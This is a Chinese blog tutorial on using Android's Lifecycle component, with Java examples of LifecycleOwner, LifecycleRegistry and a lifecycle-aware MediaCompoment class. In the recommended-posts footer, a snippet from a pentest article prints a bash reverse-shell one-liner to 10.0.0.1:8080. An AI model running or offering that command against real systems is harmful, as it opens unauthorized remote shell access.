版权声明:本文为博主原创文章,遵循CC 4.0

by-sa
版权协议,转载请附上原文出处链接和本声明。

本文链接:https://blog.csdn.net/gdutxiaoxu/article/details/86660746

说在前面

本次推出 Android Architecture Components 系列文章,目前写好了四篇,主要是关于 lifecycle,livedata

的使用和源码分析,其余的 Navigation, Paging library,Room,WorkMannager

等春节结束之后会更新,欢迎关注我的公众号,有更新的话会第一时间会在公众号上面通知。

Android lifecycle

使用详解

Android LiveData

使用详解

Android lifecyle

源码解剖

Android livedata

源码解剖

github sample 地址:

ArchiteComponentsSample

Android 技术人,一位不羁的码农。


简介

Architecture Components

lifecycle 是 2107 年 google 大会推出来的,它属于 architecture compoment 里面的一个组件,它可以干什么用呢?

简单得来说,它可以用来检查 Activity 的生命周期,而不必强依赖 Activity。


为什么要引进 lifecycle

举一下我们最常用的 MVP 例子,没引进 lifecycle 之前,我们需要在 Activity 或者 Fragment 销毁的时候,即 onDestroy

的时候手动调用 onDestroy 方法,这里会带来一些问题,每一次在 Activity 或者 Fragment 销毁的烧开后都要调用

presenter.destory() 方法,这样的代码枯燥,毫无意义。

class MyPresenter{
public MyPresenter() {
} void create() {
//do something
} void destroy() {
//do something
}
} class MyActivity extends AppCompatActivity {
private MyPresenter presenter; public void onCreate(...) {
presenter= new MyPresenter ();
presenter.create();
} public void onDestroy() {
super.onDestroy();
presenter.destory();
}
}

当然我们也可以定义一些 IBasePresenter 的接口,在 BaseActivity 的时候调用 IBasePresenter 的 onDestroy

方法,这样也确实能做到。只不过稍微繁琐一点。

那如果是别的类的呢,比如 MediaCompoment,在 Activity 的时候,我们需要销毁一些资源,按照传统的方法,我们还是需要在 Activity

onDestroy 的时候手动调用 onDestroy 方法。那有没有更好的方法呢?当然是有的,lifecycle

就可以解决这个问题。接下来,我们先来看一下 Lifycycle 的基本使用。


Lifycycle 的基本使用

  1. 引入相关的依赖包

Lifecycle 已经是稳定版,它包含在 support library 26.1.0

及之后的依赖包中,如果我们的项目基于这些依赖包,那么不需要额外的引用。

// ViewModel and LiveData
implementation "android.arch.lifecycle:extensions:1.1.0"
// alternatively, just ViewModel
implementation "android.arch.lifecycle:viewmodel:1.1.0"
// alternatively, just LiveData
implementation "android.arch.lifecycle:livedata:1.1.0"

support library在26.1.0 之前,lifecycle 并没有集成进去,需要我们引入另外的包。

implementation "android.arch.lifecycle:extensions:1.0.0-alpha4"
  1. 使用

这里同样分为几种情况

  1. support library 26.1.0 之后,且继承 FragmentActivity,那么我们直接调用 getLifecycle().addObserver 方法即可,当 Activity 的生命周期变化的时候,将会回调 onStateChanged 的方法,状态分别是一一对应的
public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MainActivity";

    @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); getLifecycle().addObserver(new GenericLifecycleObserver() { @Override
public void onStateChanged(LifecycleOwner source, Lifecycle.Event event) {
Log.d(TAG, "onStateChanged: event =" + event);
}
});
} }
  1. support library 26.1.0 之后,不是继承 FragmentActivity,只是简单地继承 Actiivty
public class SimpleLifecycleActivity extends Activity implements LifecycleOwner {

    private static final String TAG = "SimpleLifecycleActivity";
private LifecycleRegistry mLifecycleRegistry; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_simple_lifecycle);
mLifecycleRegistry = new LifecycleRegistry(this);
mLifecycleRegistry.markState(Lifecycle.State.CREATED);
getLifecycle().addObserver(new GenericLifecycleObserver() { @Override
public void onStateChanged(LifecycleOwner source, Lifecycle.Event event) {
Log.d(TAG, "onStateChanged: event =" + event);
}
});
} @Override
protected void onStart() {
super.onStart();
mLifecycleRegistry.markState(Lifecycle.State.STARTED);
} @NonNull
@Override
public Lifecycle getLifecycle() {
return mLifecycleRegistry;
} }
  1. support library 26.1.0 之前

(现在的 support library 基本都在 26.1.0 之后了,这个可以忽略)

第一步:实现 LifecycleOwner 接口,并返回响应的 Lifecycle

public interface LifecycleOwner {
/**
* Returns the Lifecycle of the provider.
*
* @return The lifecycle of the provider.
*/
@NonNull
Lifecycle getLifecycle();
}

第二步:在 Activity 生命周期变化的时候,调用 mLifecycleRegistry.handleLifecycleEvent

方法,分发相应的生命周期。

第三步:调用 Lifecycle 的 addObserver 方法添加相应的 Observer。

代码如下

public class MainActivity extends AppCompatActivity implements LifecycleOwner {

    private LifecycleRegistry mRegistry;

    private static final String TAG = "MainActivity";

    @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mRegistry = new LifecycleRegistry(this);
mRegistry.markState(Lifecycle.State.CREATED);
getLifecycle().addObserver(new GenericLifecycleObserver() {
@Override
public void onStateChanged(LifecycleOwner source, Lifecycle.Event event) {
Log.d(TAG, "onStateChanged:event =" + event);
} @Override
public Object getReceiver() {
return null;
}
}); } @Override
protected void onStart() {
super.onStart();
mRegistry.markState(Lifecycle.State.STARTED);
mRegistry.handleLifecycleEvent(Lifecycle.Event.ON_START);
} @Override
protected void onResume() {
super.onResume();
mRegistry.markState(Lifecycle.State.RESUMED);
mRegistry.handleLifecycleEvent(Lifecycle.Event.ON_RESUME);
} @Override
protected void onPause() {
super.onPause();
mRegistry.handleLifecycleEvent(Lifecycle.Event.ON_PAUSE);
} @Override
protected void onStop() {
super.onStop();
mRegistry.handleLifecycleEvent(Lifecycle.Event.ON_STOP);
} @Override
protected void onDestroy() {
super.onDestroy();
mRegistry.markState(Lifecycle.State.DESTROYED);
mRegistry.handleLifecycleEvent(Lifecycle.Event.ON_DESTROY);
} @Override
public Lifecycle getLifecycle() {
return mRegistry;
}
}

总结

我们回过头来看一下我们上面提出的问题?

MediaCompoment 在 Activity ondestroy 的时候,我们需要销毁一些资源,用传统的方法,我们需要在 Activity

onDestroy 的时候手动调用 onDestroy 方法。这样会存在一个问题,调用者必须知道比较清楚得知道 MediaCompoment

的设计,否则可能会忘记调用 onDestroy 的方法。

那有没有一种方法, 当 Activity 生命周期变化的时候,MediaCompoment 自身能够检测到 Activity 的

生命周期变化,从而做相应的处理。

答案当然是有的,使用 lifycycle。

public class MediaCompoment {
private static final String TAG = "MediaCompoment"; private final LifecycleOwner mLifecycleOwner; public MediaCompoment(LifecycleOwner lifecycleOwner) {
mLifecycleOwner = lifecycleOwner;
mLifecycleOwner.getLifecycle().addObserver(new GenericLifecycleObserver() {
@Override
public void onStateChanged(LifecycleOwner source, final Lifecycle.Event event) {
if (event == Lifecycle.Event.ON_CREATE) {
onCreate();
} else if (event == Lifecycle.Event.ON_START) {
onStart();
} else if (event == Lifecycle.Event.ON_RESUME) {
onResume();
} else if (event == Lifecycle.Event.ON_PAUSE) {
onPause();
} else if (event == Lifecycle.Event.ON_STOP) {
onStop();
} else if (event == Lifecycle.Event.ON_DESTROY) {
onDestroy();
}
}
});
} public void onCreate() {
Log.d(TAG, "onCreate:");
} public void onStart() {
Log.d(TAG, "onStart:");
} public void onResume() {
Log.d(TAG, "onResume:");
} public void onPause() {
Log.d(TAG, "onPause:");
} public void onStop() {
Log.d(TAG, "onStop:");
} public void onDestroy() {
Log.d(TAG, "onDestroy:");
}
}

小结:

  1. lifycycle 其实是用观察者模式实现的,当 Activity 生命周期变化的时候,通知相应的 Observers 即观察者。
  2. 使用 lifecycle,我们可以将释放资源的动作内聚在自身,减少与调用者之间的耦合。

下一篇博客:Android LiveData

使用详解


Android lifecycle 使用详解的更多相关文章

  1. android:ToolBar详解

    android:ToolBar详解(手把手教程) 泡在网上的日子 发表于 2014-11-18 12:49 第 124857 次阅读 ToolBar 42 来源 http://blog.mosil.b ...

  2. Android之canvas详解

    首先说一下canvas类: Class Overview The Canvas class holds the "draw" calls. To draw something, y ...

  3. 【转】Android Canvas绘图详解(图文)

    转自:http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2012/1212/703.html Android Canvas绘图详解(图文) 泡 ...

  4. Android 核心分析 之八Android 启动过程详解

    Android 启动过程详解 Android从Linux系统启动有4个步骤: (1) init进程启动 (2) Native服务启动 (3) System Server,Android服务启动 (4) ...

  5. Android GLSurfaceView用法详解(二)

    输入如何处理       若是开发一个交互型的应用(如游戏),通常需要子类化 GLSurfaceView,由此可以获取输入事件.下面有个例子: java代码: package eoe.ClearTes ...

  6. Android编译过程详解(一)

    Android编译过程详解(一) 注:本文转载自Android编译过程详解(一):http://www.cnblogs.com/mr-raptor/archive/2012/06/07/2540359 ...

  7. android屏幕适配详解

    android屏幕适配详解 官方地址:http://developer.android.com/guide/practices/screens_support.html 一.关于布局适配建议 1.不要 ...

  8. Android.mk文件详解(转)

    源:Android.mk文件详解 从对Makefile一无所知开始,折腾了一个多星期,终于对Android.mk有了一个全面些的了解.了解了标准的Makefile后,发现Android.mk其实是把真 ...

  9. Android Studio 插件开发详解四:填坑

    转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/details/78265540 本文出自[赵彦军的博客] 在前面我介绍了插件开发的基本流程 [And ...

随机推荐

  1. Class(类)和 继承

    ES6的class可以看作只是一个语法糖,它的绝大部分功能,ES5都可以做到,新的class写法只是让对象原型的写法更加清晰.更像面向对象编程的语法而已. //定义类 class Point { co ...

  2. 基于百度EasyDL定制化图像识别平台的海洋鱼类识别方法

    [目的]鱼类识别对渔业资源的开发利用有着重要的意义.针对海底环境恶劣.拍摄环境亮度低.场景模糊的实际情况导致海底观测视频品质差,视频中的鱼类识别难的问题以及现有鱼类识别方法存在的鱼类标注数据集过少导致 ...

  3. VS2012 BIDS之Reporting Service/SSRS 项目2--开发过程问题总结(全)

    由刚开始的接触到现在做出来一个基本完整的SSRS的项目,学到了比较多的知识,和大家共享. 上一篇学习总结可能有些问题,一起修正和总结. ================================ ...

  4. Your project specifies TypeScriptToolsVersion 2.3, but a matching compiler ...... 出现这种警告解决方式

  5. 15号作品teamfinal使用体验

    通过使用这款软件,可以轻松的查阅所处学期的任意周中某一天中的基教.一教.二教.三教和土木楼中的空教室,方便了同学去寻找空教室的方便,方便同学们上自习,节省寻找教室的时间,提供了非常大的便利. 打开界面 ...

  6. linux几种方式来弹哥shell

    渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...

  7. [AOP拦截 ]SpringBoot+Quartz Aop拦截Job类中的方法

    ​ 最近在工作使用boot+quartz整合,开发定时调度平台,遇到需要对Quartz的Job进行异常后将异常记录到日志表的操作,第一反应就想到了使用Spring的AOP,利用AfterThrowin ...

  8. Spring框架之IoC和AOP

    Spring框架简介: 2003年2月,Spring框架正式成为一个开源项目,并发布于SourceForge中.致力于Java EE应用的各种解决方案,而并不是仅仅专注于某一层的方案,是企业应用开发的 ...

  9. TCP协议传输大文件读取时候的问题

    TCP协议传输大文件读取时候的问题 大文件传不完的bug 我们在定义的时候定义服务端每次文件读取大小为10240, 客户端每次接受大小为10240 我们想当然的认为客户端每次读取大小就是10240而把 ...

  10. Python基础之用户交互、流程控制、循环语句

    python的简洁性真的令人叹为观止,没有JAVA那种输入还要导个包,不学不知道,一学吓一跳啊! 我在学这些基础的时候,会把python和java.c做对比,这样更好的理解记忆! 用户交互(输入) i ...